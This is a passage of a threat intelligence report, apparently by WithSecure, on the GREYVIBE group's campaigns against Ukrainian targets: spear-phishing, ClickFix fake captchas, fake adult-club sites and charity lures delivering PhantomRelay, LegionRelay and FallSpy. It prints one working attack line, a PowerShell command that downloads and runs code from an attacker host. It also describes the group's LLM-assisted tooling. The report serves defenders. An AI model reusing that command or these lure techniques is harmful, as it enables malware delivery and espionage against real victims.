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Executive Summary

e WithSecure discovered a persistent and ongoing set of activity targeting Ukraine and Ukraine-related entities since at least August 2025.

e Based on significant overlaps found across both the development and operational phases of the associated campaigns, WithSecure associates the activities
with a threat group tracked as GREYVIBE. At the time of writing, WithSecure has not found definitive links between GREYVIBE and any previously identified threat
group.

e The group has leveraged multiple attack vectors, including spear-phishing e-mails, fake captcha pages and fraudulent Ukrainian adult club websites, to
deliver malware to a diverse set of victims. The observed victimology includes military, government, civilian, and business-related entities. Across these
campaigns, the group has relied on custom developed obfuscators, loaders, and malware. WithSecure additionally identified several associated activity and
related campaigns that shared varying degrees of overlap with the group’s tooling, infrastructure, and tradecraft.

e The lures, targeting, and observed actions on objectives of the activities aligh with Russian state interests, particularly in support of intelligence-gathering
objectives related to Ukraine in the context of the ongoing Russia-Ukraine war. WithSecure also identified multiple indicators suggesting that the associated
developers and operators are Russian-speaking and operate broadly in Russian (Moscow) time zone.

e While the activities align with Russian state interests, several observed indicators suggest the group has ties to the broader cybercrime ecosystem, with the
group potentially involving current or former cybercriminal actors.

e Moreover, WithSecure found strong evidence suggesting systematic use of generative Al (GenAl) and large language models (LLMs) by GREYVIBE throughout
their operation.

e Taken together, WithSecure assesses GREYVIBE is a low-to-moderately sophisticated group, as reflected in repeated operational security failures, heavy
reliance on LLMs, and overall observed tradecraft.

e Lastly, WithSecure identified design flaws in LegionRelay, a custom malware associated with GREYVIBE that WithSecure assesses was likely developed with
LLM assistance. These flaws exposed a limited number of LegionRelay’s backend functionality which provided WithSecure with research visibility into associated
activity over an extended period. This visibility informed WithSecure’s assessment of the group’s victimology, actions on objectives, post-compromise tooling,
and operational behaviour. Sensitive details pertaining to the observed victimology and actions on objectives as well as information that could aid the threat actor
have been deliberately omitted from this report, but could be shared with relevant authorities where appropriate.

TLP:CLEAR
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Introduction

In January 2026, WithSecure began investigating a set of artifacts that appeared to target
Ukraine. The samples included a previously unknown RAT that did not initially match
known malware signatures. However, the Ukraine-specific lures, delivery patterns, and
victimology warranted further investigation.

At first glance, the activity appeared consistent with Russian state-aligned activity. At the
same time, it lacked the level of sophistication and operational discipline typically
associated with mature nation-state actors. For example, WithSecure identified several
development and test samples uploaded to VirusTotal, which we considered atypical for
Russian nation-state actors.

As the investigation expanded, the activity presented a more complex picture. WithSecure
found a public report! describing parts of the activities we had discovered, including a
description of the RAT, but at the same time, we had also made several additional
discoveries, including but not limited to, sighting the RAT across seemingly unrelated
cybercrime activity clusters. We had initially assessed that the RAT, tracked as
PhantomRelay, was custom-developed and used exclusively across the associated state-
aligned activities. However, its dual use placed it at the blurry intersection of nation-state
and cybercrime operations.

Over several months of analysis, a clearer picture began to emerge. WithSecure was able
to distinguish PhantomRelay’s usage across the cybercrime activity clusters from the
state-aligned ones, which we associated and started tracking as GREYVIBE. We

lhttps://www.sentinelone.com/labs/phantomcaptcha-multi-stage-websocket-rat-targets-ukraine-in-single-day-spearphishing-
operation/
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discovered additional malware and activities associated to GREYVIBE and grouped them
based on significant overlaps we observed across both the development and operational
phases of the group’s operations. This included infrastructure patterns and re-use, custom
developed malware and obfuscators, as well as other technical and non-technical
indicators.

We discovered the group’s operators and developers speak Russian and operate within
Russian (Moscow) time zone. Their targeting and operational objectives align with
Russian strategic interests, particularly intelligence collection related to Ukraine in the
context of Russia-Ukraine war. At the same time, the group’s tradecraft displayed repeated
operational security (opsec) failures, uneven technical maturity, and indicators suggestive
of current or former cybercriminal ties or members. Taken together, we assessed
GREYVIBE may represent a low-to-moderately sophisticated Russia-nexus group
supporting state-aligned objectives, rather than a traditional, highly disciplined nation-
state group.

One of the most notable aspects of GREYVIBE’s activity is their apparent systematic use
of generative Al and large language models across the attack lifecycle. We identified strong
indicators suggesting the group uses several Al platforms for lure development, website
construction, image generation, malware and loader development, infrastructure
configuration, and post-compromise command and tooling generation. While adversarial
use of Al is no longer novel, the breadth and consistency of GREYVIBE’s usage indicated
that these technologies are likely integrated into the group’s operational workflow, helping
them compensate for capability gaps, increasing their development and operational
tempo, and possibly creating a new operational profile that reduces historical backlinks to
their prior activity, likely to further complicate tracking and attribution efforts.


https://www.sentinelone.com/labs/phantomcaptcha-multi-stage-websocket-rat-targets-ukraine-in-single-day-spearphishing-operation/
https://www.sentinelone.com/labs/phantomcaptcha-multi-stage-websocket-rat-targets-ukraine-in-single-day-spearphishing-operation/
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This report provides a breakdown of the campaigns and activity WithSecure associates
with GREYVIBE, including DroneLink, an activity cluster with strong association to
GREYVIBE, but one that we could not conclusively attribute to the group at the time of
writing. The report also details GREYVIBE’s tradecraft, including the custom malware,
obfuscators, and loaders used across their campaigns, as well as detailed analysis of their
infrastructure and backend. Figure 1 shows an overview of the relationship between the
activities highlighted in the report and the associated malware, loaders, and obfuscators.

The report also briefly highlights the cybercrime activity clusters which PhantomRelay was
observed in and the distinctions we found between PhantomRelay deployments
associated with those clusters and those attributed to GREYVIBE.

Loader (+ obsfucator)

JavaScript loader - TEASOUPJS PhantomMail PhantomRelayV2

Obfuscator

JavaScript loader - LOOKVALJS PhantomClick PhantomRelayV1 | DAYLIGHT

Pyinstaller loader - LOOKVALPS PrincessClub LegionRelay

DronelLink FallSpy

Figure 1. Overview of GREYVIBE-associated campaigns, malware, loaders, and obfuscators.

TLP:CLEAR
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Campaigns and activity

PhantomMail: Spear-phishing via e-mail

WithSecure found the threat group utilizes spear-phishing e-mails to target some of their
intended victims. Based on our analysis, the phishing e-mails generally contain a
download link to a malicious archive (ZIP/RAR) file hosted on a 3rd-party file-hosting
service, such as Google Drive or 4sync. The archive file often contains a loader (EXE/JS)
that launches a decoy (eg. decoy PDF or error pop-up message) and executes the
PhantomRelay (PhantomRelayV1 or the more recent PhantomRelayV?2) infection chain
in the background. PhantomRelay is a PowerShell-based remote access trojan (RAT) that
has been detailed in a later section.

PhantomMail et

Sighting 1 Sighting 2 Sighting 3

Sightings
August 2025 Early September 2025 Late September 2025

File-hosting service storage.vlasiuk kiev[.Jua share.secureinfo[.Jeu
Archive type
Loader type Pylnstaller loader JavaScript loader

Obfuscator/loader LOOKVALPS LOOKVALIJS

Payload PhantomRelayV1

TLP:CLEAR

WithSecure has identified at least six distinct campaigns conducted from August 2025 to
the time of writing, April 2026. The campaigns have been detailed below. The observed
changes across the campaigns have been summarized in figure 2.

Sighting 4
December 2025

Google Drive

Sighting 5 Sighting 6
March 2026 April 2026

TEASOUPJS

PhantomRelayV2

Figure 2. Summary of PhantomMail
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August 2025

In late August 2025, the threat actor distributed a malicious ZIP archive hosted on a third-
party file-sharing service (storage.vlasiuk.kiev[.]Jua). The archive contained a single
portable executable masquerading as a PDF document, named matepianu koHbepeHLii 3

Kibep3axucty_pdf.exe (“cyber defense conference materials”). The executable was an

obfuscated Pylnstaller binary that executed an embedded PowerShell command, further
obfuscated using LOOKVALPS (explained in a later section). This ultimately initiated the
PhantomRelayV1 infection chain. Notably, the executable used an icon associated with
the K-Lite Codec Pack. This appears to have been an operational mistake, as the icon
was unrelated to the lure (expected to be a PDF icon) and the same distinctive icon was
observed in a separate campaign attributed to the group referred to as the PrincessClub
campaign (discussed in a later section). This overlap provides an additional linkage
between the two activities and is shown in figure 3.

TLP:CLEAR

~ July 2025

Sample from PrincessClub campaign
K-Lite_Codec_Pack 1905 _Basic.exe
476334192...

~ August 2025

Sample from PhantomMail campaign
MaTepiann koHdepeHLujii 3 Kibepzaxucty_pdf.exe
f8fd89b4d...

~ November 2025

Sample from PrincessClub campaign
K-Lite_Codec_Pack_1905_Basic.exe
40f9399%ea...

K-Lite Codec icon
1a18f0c40...

-
-

Figure 3. Unique K-Lite icon overlapping between PrincessClub and PhantomMail campaigns
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September 2025

In early September 2025, the threat actor distributed a malicious ZIP archive hosted on
another third-party file-sharing service (share.secureinfo[.]Jeu). The archive contained a
single portable executable masquerading as a PDF document, using filenames themed
around cooperation topics (npiopumemHi memu cniBnpayi.exe) and conference materials
(MaTepianu_koHdpepeHuii_pdf.exe). The executable was an obfuscated Pylnstaller binary
that initiated the PhantomRelayV1 infection chain upon execution. In addition to
executing the malware, the sample dropped and displayed a decoy document (shown in
figure 4) related to Ukroboronprom (the Ukrainian Defense Industry), likely intended to
reinforce the legitimacy of the lure and distract the victim during execution. Among their
targets, we observed a cybersecurity team at a software supplier company for Ukrainian
government agencies being targeted.

AKITIOHEFHE TOBAFHCTEO
“YKPAIHCEKA OB0POHHA IPOMICIOBICTE”
=ya Jarrepincaxs, 36, u Kats, (4119, ¥xpatmz
Tom FIO{HNIE5-24-01, damc 350 (M) F8E-24-TT
Eog EFFTIOY ITEHST

wmail- kanc/Frukrsboreaprom com

JOINT STOCK COMPANY
“UKRAINIAN DEFENSE INDUSTRY™
36 Dabtiarivika Sa., Eyiv, 4119, Uknie
el +IB0{4A)T85-24-01, fax +3IBL(HY) JBE-24-T7
wdentification cods 3TE54207
gemmiil: kamc dackeronprom com

15.05.2025  ne UQOP 4.2-4279

Ha N2 Big

343 378

KepieaakaM OiImpHEMCTE Ta
roCHoJapCBKHEY  TOBAPHCTE
(3a criEcKOM)

Ilodo nocuterHa 2auchy H@opMailin
CUCTHEM

3 MeTow MOCHIeHHA CTaHy KibepOesnekH Bamoro miampHeMcTBa/ TOBapHCTBA Ta
IIBHIICHHA PIBHA  KiDep3axHCTy., HAUpaBIgeMoO  yialalbHeHI  pPeKOMeHZIAIIL
HenapramenTy KoHTppozELakH CryxbH Oezners YEpaiHH MOKo NepIIoTeproBHX 3AX0IIE
KibepOesnekH 3 ypaxyBaHHAM BHABIEHHX ()OPM MPOTHIPABHOL MIAMBHOCTI 1HO3EMHIX
PO3BUIOK, I/ ONPALIOBAHHA Ta BHKOPHCTAHHA B PODOTI BIONOBITHHME (axiBIAMH Y
cthepi iHdopManiinoi De3meKH.

3a pesyIETaTaMH EAHTHX 3aX0/I1E IPOCHMO 1HGOpMYEaTH AKIIIOHEPHE TOBapHCTED
"VipaiHchka 000OpOHHA MPOMHCIOBICTD

Homator: 2a Texcrom Ha 10 (gecars) aprymax.

B.o. 'enepansHore gapexropa Tapac ITHAKO

Figure 4. Decoy PDF document dropped and launched
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In late September 2025, the threat actor likely impersonated a Kyiv City Council official
to distribute a malicious ZIP archive hosted on another third-party file-sharing service
(4sync[.Jcom). In this campaign, the threat actor shifted from using a Pylnstaller-based
executable to a JavaScript-based initial-stage loader. The archive contained a JavaScript
file masquerading as a PDF document, named NMponosuuia no BnpoBaaxxeHHo nucT.pdf.js
(“implementation proposal letter”). The script was obfuscated using LOOKVALJS
(explained in a later section) and, upon execution, displayed an error pop-up message as
a decoy while silently initiating the PhantomRelayV1 infection chain in the background.
Examples of these error messages are shown in figures 5 and 6.

Error )4

':8:' Error opening document: ERRCODE G116

(0] 4

Figure 5. Error pop-up message used as decoy - Example 1

8 Fatal error while opening file: INVAL_SYS_ARCHITECTURE

OK

Figure 6. Error pop-up message used as decoy - Example 2
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December 2025

In December 2025, the threat actor likely impersonated a Ukrainian energy company to
distribute malicious RAR archives hosted on Google Drive. Each archive contained a
JavaScript file with lure-themed filenames, such as 3aABKka_Ha
npioputeTHe_3abeaneueHHA_pdf.js (“priority provision application”). The scripts were

obfuscated using LOOKVALJS and, upon execution, displayed an error pop-up
message as a decoy while initiating the PhantomRelayV1 infection chain.

March 2026

In March 2026, the threat actor likely impersonated as the Main Directorate of the State
Emergency Service of Ukraine across multiple regions, including Dnipro and Kharkiv,
to distribute malicious RAR archives hosted on Google Drive. The campaign used lures
related to inspection of territories (“dopma akra nepesipkn”). The archive file would contain

a JavaScript file obfuscated with TEASOUP (explained in a later section), which
displayed an error pop-up message as a decoy while executing the PhantomRelayV2
infection chain. PhantomRelayV2 is the second operational version of PhantomRelay
RAT believed to be developed and used by the group. The malware has been detailed in a
later section of this report.

2 https://cloud.google.com/blog/topics/threat-intelligence/threats-to-defense-industrial-
base#:~:text=0vercoming%20Technical%20Limitations % 20with%20LLMs

TLP:CLEAR

April 2026

In April 2026, the threat actor likely impersonated the State Service of Special
Communications and Information Protection of Ukraine to deliver malicious RAR
archives that were hosted on Google Drive. Each archive file would contain a JavaScript
file, obfuscated with TEASOUP, that would display an error pop-up message as decoy
and execute the PhantomRelayV2 infection chain.

WithSecure found a brief reference in a report?> by Google Threat Intelligence Group
(GTIG) describing the usage of CANFAIL malware by an unknown threat group in phishing
operations which had significant overlaps with the tracked activity. The primary targets of
these spear-phishing campaigns were described as Ukrainian organizations, including
defense, military, energy, as well as national and regional governments of Ukraine. Beyond
organizational targeting, the spear-phishing activities also targeted personal e-mail
accounts. Moreover, while the group’s spear-phishing activities were heavily focused on
Ukraine, the threat actor has reportedly also targeted Moldovan and Romanian
organizations.


https://cloud.google.com/blog/topics/threat-intelligence/threats-to-defense-industrial-base#:~:text=Overcoming%20Technical%20Limitations%20with%20LLMs
https://cloud.google.com/blog/topics/threat-intelligence/threats-to-defense-industrial-base#:~:text=Overcoming%20Technical%20Limitations%20with%20LLMs
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PhantomClick: ClickFix via Fake Captcha

In early October 2025, the group briefly experimented with ClickFix for initial malware
delivery by leveraging fake captcha pages. Domains associated to this campaign
masqueraded as Zoom conference and LAPAS (Latvian Platform for Development
Cooperation) websites. The ClickFix instructions on these sites were displayed in
Ukrainian, suggesting the campaign likely targeted Ukrainian victims.

A malicious PDF document (shown in figure 7) found in-the-wild contained a link to one of
the fake Zoom websites. The document masqueraded as an official meeting agenda sent
by the Office of the President of Ukraine. WithSecure found that this activity was previously
reported by SentinelOne3, and it was noted that the document was distributed via spear-
phishing emails targeting non-governmental organizations (NGOs) involved in Ukraine
war relief efforts, as well as Ukrainian regional government entities.

3 https://www.sentinelone.com/labs/phantomcaptcha-multi-stage-websocket-rat-targets-ukraine-in-single-day-spearphishing-
operation/
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Odic NNpesngeHTa YkpaiHu

Ha No

YYACHHUKH HAPAJIU

(3a CITMCKOM)

Ha nomatox no aucra Odicy Ilpesuaenta Ykpainun Ne 47-01/1348 Bixg
06.10.2025 noBigoMIsI0 MPO 3aMiHY NOPS/IKY /JAEHHOI0 HapajJu 3 IUTaHb
3a0e3neyeHHs peaiizauii npaB i cBo0OJ BHYTPIIUHBO NEPEMIilIEHUX OCi0, sKa
BiOyACTHCS TTi/T MOIM TOTTOBYBaHHAM 8 oBTHS 2025 poky o 13:00.

OHOBJICHHH NOPSIOK JICHHHH HAACTbCA.

[Tocunanus: https://zoomconference.app/?conferenceld=1t]Z1k9gn 1 0CbFijeQobL

[nenTudikarop kondepenuii: 868 7249 7373.

Kox moctymy: 589367.

[Ipomy 3abe3neunTH yyacTb y Hapaji NpeJACTaBHUKIB HA PIBHI 3aCTYITHHKA
KEpiBHUKA OpraHy, Bi/IMOBIIaTLHOTO 3a BKa3aHWH HATIPSM.

3 MeToW MIArOTOBKM MarepiajiiB JUis MPOBEACHHS HApaau IPONOHYIO
Hajgicnatn a0 12:00 7 xoTHs 2025 pokry iHdopMmalliio 3 NMUTaHb MOPAIAKY
JI€HHOTO, a TaKOXK IMOBIZOMHTH TPO Yy YacTh (3a3HAUMBILIM MPI3BHILE, IM’f, [0
0aTbKOBi, Mocajy, KOHTAKTHHH Tesie) OH, €JIEKTPOHHY ajipecy) Ha elIeKTPOHHY
nowry (irynakovtun.opu@ukr.net) BianoBiganeuii ocodi — Kosryn Ipuni
OnekcanpiBHI (KOHTAKTHUH TenedoH: (073) 432 41  42).

Jlonatku: Ha 7 apk.

3actynuuk KepiBHuka
Odicy Ilpesunenrta Ykpainu I.Bepemyk

Figure 7. Malicious PDF containing link to fake Zoom conference site
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The fake captcha pages followed a similar format as other ClickFix-style fake captcha

pages, posing as a fake Cloudflare “security check” and prompting the victim to execute a (

malicious command (shown in figure 8) on their machine via a set of provided instructions R "
(in Ukrainian) to pass verification. The malicious command would ultimately lead to the Checking your brOWSE_r before accessing e o snrancl KSenerax momne somencone
deployment of PhantomRelayV1. An example of the fake captcha site and prompted lapas.live IATBEPAXKEHHS TOTO, IO BY He POBOT.

This process is automatic. Your browser will redirect to your

instructions is shown in figure 9. requested content shortly. Mpoueaypa MATaCpAXEHHS

1. HatncHiTs kombiHauio knagiw B Win + R, wob eiakputu BikHO

Additional verification required npoxomkeHta Captcha

2. CkonitoiiTe Ball yHiKaNbHWIA TOKEH, HaTUCHYBLUWM Ha KHOMKY:

Please complete the security check to continue. 3. BcraeTe TOKeH y TeKCTOBe Nosie BikHa npoxomkeHHa Captcha
kombinauicto knasiw Ctrl + V

4. HatucHite kHonky Enter

I'm not a robot 5. flKwio nicnA BMKOHaHHA NPoLeaypy niaTeepaxeHHa ocobu Bu

Privacy Terms @ reCAPTCHA [0Ci He MOXKeTe OTpUMMaTK JOCTYN A0 CTOPIHKM, 3BePHITLCA A0
TeXHIYHOT NIATPUMKK eNeKTPOHHOH nolwToro: admin@lapas.live

Please allow up to 5 seconds...

DDoS protection by Cloudflare

Figure 9. Example of fake captcha site and prompted instructions (Ukrainian)

function (A

Let code = "Invoke-RestMethod -Uri (\\"htt\\"+\\"ps://lapa\\"+\\"s.live/vfy/${clientId}\\") -Method Get; iex ((New-Object
System.Net.WebClient).DownloadString(\\"htt\\"+\\"ps://lapas.li\\"+\\"ve/cptch\\"));

.clipboard. ("conhost.exe --headless \"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1l.0\\powershell.exe\" -c \""+ code +"\"")

Figure 8. Function copying ClickFix command to clipboard

TLP:CLEAR
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To further imitate a ‘security check’, the fake captcha pages implemented a decoy
redirection mechanism (shown in Figure 10) which redirected victims to legitimate URLs
associated with the domains they masqueraded as. To implement this, they would:

1. Register a unique client ID with attacker’s backend server

2. Setup a websocket connection and wait for a response

3. Upon receiving a response, automatically redirect to a hardcoded URL associated
with the legitimate domain.

For example, the fake LAPAS domain (lapas|.]live) redirected victims to a page under the
legitimate domain (lapas].]lv/ru), while the fake Zoom domains redirected victims to a
legitimate Zoom call link. This behavior likely helped reinforce the appearance of a
legitimate security check by presenting victims with an expected destination after
interaction with the fake captcha page. It remains unclear whether the legitimate Zoom call
link was used solely as a decoy or whether it could have supported follow-on social
engineering.

Furthermore, markers found across the HTML content of the fake captcha pages indicated
with moderate to high degree confidence that they were generated through an LLM.
The threat actor’s extensive use of LLMs is highlighted in a later section titled “Extensive
use of GenAl/LLM throughout attack lifecycle”.

TLP:CLEAR

const clientId = (2);
('Client ID:', clientId);

// 2. Connect to the WebSocket server
// Use the same host and port as your server.
// 'ws://' 1s the protocol for WebSockets.

.location.protocol === "https:' ? 'wss:'
.location.host; // e.g., 'localhost:3000'
new WebSocket( ${wsProtocol}//${wsHost} );

const wsProtocol =
const wsHost
const socket

// Event handler for when the connection is established
socket.onopen = (event) => {
('Successfully connected to the WebSocket server.');
// You could optionally send the client ID to the server here
// socket.send(JSON.stringify({ type: 'register', id: clientld }));

}s

// 3. Listen for incoming messages
socket.onmessage = (event) => {
const message = event.data;
if(message == clientId){
.location.href = "https://lapas.lv/ru’;}
};

// Event handler for connection errors
socket.onerror = (error) => {
('"WebSocket Error:', error);

}s

Figure 10. Implementation of decoy redirection mechanism, with comments likely made by an LLM agent
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Lastly, several other documents were also discovered in the wild that shared the same
unique format and author/creator name as the PDF document linking to the fake Zoom
website. These documents also posed as meeting agendas on various topics, maintaining
a consistent official appearance and incorporating the Office of the President of Ukraine
logo. However, a key distinction is that these samples contained Zoom call links pointing
to the legitimate Zoom website rather than the fake ones used in this campaign. An
example has been shown in figure 11.

The exact purpose and intended use of these documents remain unclear; however, we
assess with moderate to high confidence that they were also used in a malicious context.
Several hypotheses on how these documents were leveraged include:

1. They may have facilitated a social engineering attack via a live Zoom conference call,
allowing the threat actor to potentially record the victim’s face and voice, or provide
them a set of malicious instructions that led to system compromise.

2. They may have functioned as decoy documents for other infection chains employed
by the threat actor, rather than directly serving as the initial malware delivery
mechanism.

TLP:CLEAR

Oaic ['lpesnaeHTa YkpaiHu

Ha Ne

YYACHHUKH HAPA/IH

(3a CITMCKOM )

[Mosimomasto, mo 19 rpyaus 2025 poky o6 11:00 mig MoiM ToJIOBYBaHHSM
BIAOYAeThCA Hapaja 3 NMUTaHb 3apodITHUX MIAT ACPKABHUX CNYKOOBLIB MICLIEBUX
OpraHiB BHKOHABYOI B/IaJIH y opmaTi zoom-KoH(epeHIii.

[locunanns:
https://uséweb_zoom.us/1/816912625947pwd=LbVX62ROBNbEcgSS8bM7Y LONwOY Uhb.1

[nentudikaTop kondepenuii: 816 9126 2594.

Kox nocryny: 341256.

[lpomry mo 17:00 17 rpyana 2025 poky mnoiH(OpMyBaTH MPO YYacTb,
3a3HAYMBIIM KOHTAKTHI JIaHl Ta 110ca/Ii BU3HAYEHHUX 0cl0, Ta HajatH iHopMairiio 3
NUTAaHb  MOPAAKY  JEHHOIO  [MOBLAOMIIEHHAM  HAa  €IEKTPOHHY  IOLUTY:
y.khliebnikov(@nib.gov.ua .

Bignoeijanena ocodba:  €sreniit  XieOHIKOB (KOHTAKTHHH  TeledoH:
(050) 411-72-89).

[Topsok JIeHHUI J10/1a€ThCS.

JlonaTtok: na 3 apk.

3actynuuk KepiBunka
Odicy [IpesnaenTa Ykpainu I.Bepemyk

Figure 11. Similar PDF containing Zoom call link to legitimate Zoom conference site
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PrincessClub: Ukrainian adult club sites

WithSecure discovered a persistent campaign which utilizes fake Ukrainian adult club sites
to lure victims and infect them with either FallSpy (for Android users) or
LegionRelay/PhantomRelayV1 (for Windows users). FallSpy is an Android spyware and
LegionRelayV1 is a PowerShell-based RAT. The malware families have been detailed in
later sections.

Based on WithSecure’s investigation, many of the victims of this campaign were located
in Kharkiv, Ukraine and included Ukrainian combatants. The targeting of this region was
also evident in one of the early sites used in the campaign, which displayed a message
about the opening of new club locations with all the addresses mentioned being in the city
of Kharkiv. This has been shown in figure 12.

MHU BITKPUBAEMO HOBI KJIYbH

Bany ana Bac cneuianbHy aKUiK, HOEMM BIABIOYEaYaM NEPCOHANEHKWIA NPUEBATHMW TaHOK Bia Hawwux aie4aT BESKOLLTOBHO!

XO4YY TAHOK

Figure 12. Display message on fake adult site showing new club addresses in Kharkiv

All sites found associated with this campaign masquerade as “Princess Mens Club,” a
name that overlaps with a legitimate adult venue in Kyiv. However, the addresses and
contact details presented on these sites correspond to a different venue located in Lviv.

TLP:CLEAR
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The reason the threat actor has chosen two different cities across the lure that are distant
from the observed location of targeting (Kharkiv) is unclear at the time of writing. Figure 13
shows the distance between the three cities.

. ® .
® Lviv Kharkiv

Figure 13. Distance between the cities of Kharkiv, Kyiv, and Lviv

To enhance legitimacy, the sites include typical business information such as general
descriptions, contact details, pricing, and listed services. They also feature profiles of
purported models, including associated photos and videos, some of which are
intentionally blurred or restricted to incentivize user interaction.

Across all observed infection chains, a consistent characteristic is that the delivered
malware or loader launches the website on the victim’s device with a kodek (“kogek”,
Russian and Ukrainian word for codec) parameter, which unlocks the restricted images
and videos. WithSecure assesses that this functionality primarily serves as a decoy
mechanism, similar to those observed in the group’s spear-phishing campaigns, whereby
the victim is presented with benign-looking content while malicious activity executes in the
background.
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The site has undergone continuous development, with multiple features and infection
vectors introduced to prompt malware execution, including:

1. A “live stream” feature prompting users to download a dedicated client, shown in
Figure 14.

2. A simulated (“virtual”) chat function designed to build engagement and lure victims
into installing a malicious client under the pretext of accessing exclusive content (e.g.,
themed as a K-Lite Codec Pack). Shown in Figure 15.

3. “Exclusive” videos on model profiles, either blurred or gated behind prompts to install
a fake video codec pack, or redirecting to the live stream feature. Shown in Figure 16.

4. A “free live session” offering on model pages, which similarly results in the installation
of a fake codec package. Shown in figure 17.

TLP:CLEAR

HanrapsuJiwe woy — npsiMo 3apas

G -

Ana cmaprgoHa Ana koMn'rotepa
Android Windows

HD « Be3 peknamu « BesaneuHo

© 2024 PRINCESS. Bci npaBa 3axuLUeHi.

Figure 14. Viewing models live (page)
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Figure 15. Fake virtual chat on site leading to video codec installer (overlay)
e» MNoniva
® Online

Mpueit! Paga 6aumty Tebe! @
Xouell NoAWBMTMCA LWOCH
ocobnuvee?

Nonixa o EKCKNIO3uBHeE Bineo
PRINCESS Club x

Ona nepernany HeoBxigHO BCTAHOBUTK MNepesipeHo
MNpuWBIT, koxaHwuiil @ Xouel NOAWBMTMCS cneyiansHKWiM Nporpaeady ﬁ

EKCKII03UBHI Bij1€0

9 Bes sipycis

MOE BKCKNID3MBHE BiN20? BOHO TiNbKK

ans tebel! & -
¥ Bes eipycie fi BeaneuHo ¢ LBvoko

Xouell NoAWBUTMCA MOE

¥ lMepemaHyTH . -
eKCKI03WEHe Bineo? &

B Ona koMn'loTepa

Baw 6pay3sep Edge He Mac HeobxiaHMX KOMMNOHEHTIB A1 BIAATBOPEHHS Lboro siaeo.
L1 3asanTamumn K-Lite Codec
= EKCKNIO3MBHE BIAEO Pack
MpyBaTHWA TaHELb TiNbKKW Ona Tebe!

+ BCTAHOBMTHU BIJEO KOAEK

Poamip: 32.5 MB - Bepcia: 19.0.5
* lNepernasyTd Bijeo

Poawmip: 325 MB - Bepcia: 19.05 - ®aun: K-Lite_Codec_Pack_1905_Basic.exe

EKCKNIO3NBHUN NPUBATHUW HOMED ANS ocobnuBMx KNIEHTIB

Figure 16. Exclusive video on a model’s page

FS

2 " axacere n MmaH KNIO3UBHE BI1eo 3

BIpTVaJbHUH CCane Bax S TR et Bl al i = BIA
BikTopi€w?

puBarHa siaeocpo3mMoea 3 lNoniHow

Mepwunia ceaHc 6e3KOLWTOBHO.

Figure 17. Free virtual session on a model’s page
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In a later iteration of the site, the threat group introduced a feature (shown in figure 18) ——
enabling victims to initiate a live video call with a “model”. This functionality is only PRINCESS
unlocked when the site is accessed with the kodek parameter set, indicating that the victim
has been infected. The feature isimplemented using WebRTC, with victim audio and video
automatically captured and transmitted to the threat actor’s backend.

lonoBHa Mpo kny6 Hawi gisyaTa UiHK Ta nocnyru KoHTakTH paMUiA edif O3BiHKK

This capability significantly extends the site’s role beyond that of a static decoy. It likely
enables victim identification and may facilitate additional intelligence collection
during live interaction. In some cases, it could also create conditions for coercion or
extortion, although this may be a less likely use case.

Given that confirmed victims include military combatants, this functionality may provide
actionable human intelligence in the context of the Russia-Ukraine war. More broadly,
such socially engineered interactions could exploit human behavior to elicit sensitive
information that victims would be unlikely to disclose through purely technical means.

WithSecure discovered that the threat actor targets victims via Telegram using fake
female personas (shown in figure 19) associated with models featured on the site. We
assess with moderate confidence that some of these personas are distributed through
local dating channels, e.g. in Telegram. Upon establishing contact, the threat actor
engages with the victim to build trust before ultimately directing them to the site to
download malware or, in some cases, directly delivering the malware executable via chat.

Figure 18. Live call feature unlocked after infection (kodek parameter is set)

Jlnna AHacTacisa BikTopia OneHa ®npr

@lilymihalyk @nastyaa2001lov

Figure 19. Example of associated Telegram accounts used by the threat actor to target victims

TLP:CLEAR
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The campaign’s development and operational timeline closely aligns with other activities
attributed to the group. The earliest domain associated with this campaign was registered
in late April 2025, with initial development activity observed in July 2025 and the first
signs of active weaponization emerging in August 2025.

PhantomMail

overlaps include:
Between July and December 2025, the threat actor tested and deployed payloads similar payload, k-lite icon, loader, obfuscator

to those used in their spear-phishing campaigns to compromise Windows systems. This
included the use of Pyinstaller- and JavaScript-based loaders, as well as BrinceceClub overlaps include:
PhantomRelayV1 as the final payload. payload

However, likely in an effort to distance the campaign’s operational footprint from their
spear-phishing activity, the threat actor transitioned in December 2025 to a distinct .NET-
based loader which delivered a new PowerShell-based RAT, LegionRelay, which is
detailed in a later section. Figure 20 shows an overall summary of PrincessClub campaign

overlaps include:
infrastructure, payload

We assess with high confidence that the PrincessClub campaign is associated with Sokbleale
GREYVIBE based on development and operational overlaps found across PhantomMail,
PhantomCaptcha, and PrincessClub campaigns. Some examples of the overlaps found
are highlighted in figure 21.

Figure 21. Example of overlaps found between the campaigns

PrincessClub Timeline

July 2025 - November 2025 December 2025 - April 2026
) r . r
‘/ Obfuscator LOOKVALPS LOOKVALJS

Device type

Windows Loader type Pylnstaller loader JavaScript loader -.NET loader

Payload PhantomRelayV1 LegionRelay

Android Payload FallSpy

Figure 20. Overview of PrincessClub TTPs

TLP:CLEAR
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Other associated activity

L )VIKP.BT:\VPTAY‘ —
TexHosiOriyHa nepeBara gn
nepemoru

DronelLink: From PrincessClub to drone-themed Ukrainian
charities

In March and April 2026, WithSecure observed an operational overlap between
PrincessClub and a campaign leveraging websites masquerading as charitable
foundations supporting the Armed Forces of Ukraine (e.g. FPV drones, UAVs, and
related initiatives). Examples of these sites are shown in figures 22 and 23. The charity
websites exhibited characteristics consistent with LLM-generated content.

KnwouoBi HanpaMM NigTPUMKKU

nigrpumati GpoHa JLonyuntica fo dopymis

Mpo ¢doHp «YkpBapTa»

[ | FRONT FORCE

DoHp «YkpBapTa» cneuianiayeTbca Ha LiNIbOBUX 3aKyMiBAAX BUCOKOTEXHOOTIYHNX
piweHb: FPV-apoHis, BNJIA po3gigyBasbHOro Ta yAapHOro NPU3HAYEHHA, @ TaKOX
3acobis PEE i 3aXVCTy BiA APOHIB.

Mwu npautoemo 6e3nocepeHbo 3 MiApo3Ainamn cun 060poHN YKpaiHU, TECTYEMO
06nafiHaHHA B NO/bOBMX yMOBAX Ta 06MPAEMO PillieHHS, AKi peasibHO NPaLIooTb Ha
nepeosin.

ENATOATR

HHAl GOHA NIATPUMKHW CHN DGOPOHM YKPATHM
11 FP\

MapTHepcTBO

Hawi ocCHOBHi HanpaAMK
Mpauyoemo Tam, Ae TEXHOOrIT AatoTb Nnepesary Ha noni boto

NIATPHMEN

FPV-pOHM Ta KOMN/IEKTYIONi BINJIA niTakoBoro Tuny 3acobu pagioeIeKTPOHHOT HaB4aHHA Ta iHXeHepHi
< 6opoT

Figure 23. Example of fake charity domain frontpage (ukrvartal.Jonline and ukrguard].]Jorg)

Several overlaps were identified between the two campaigns, including:

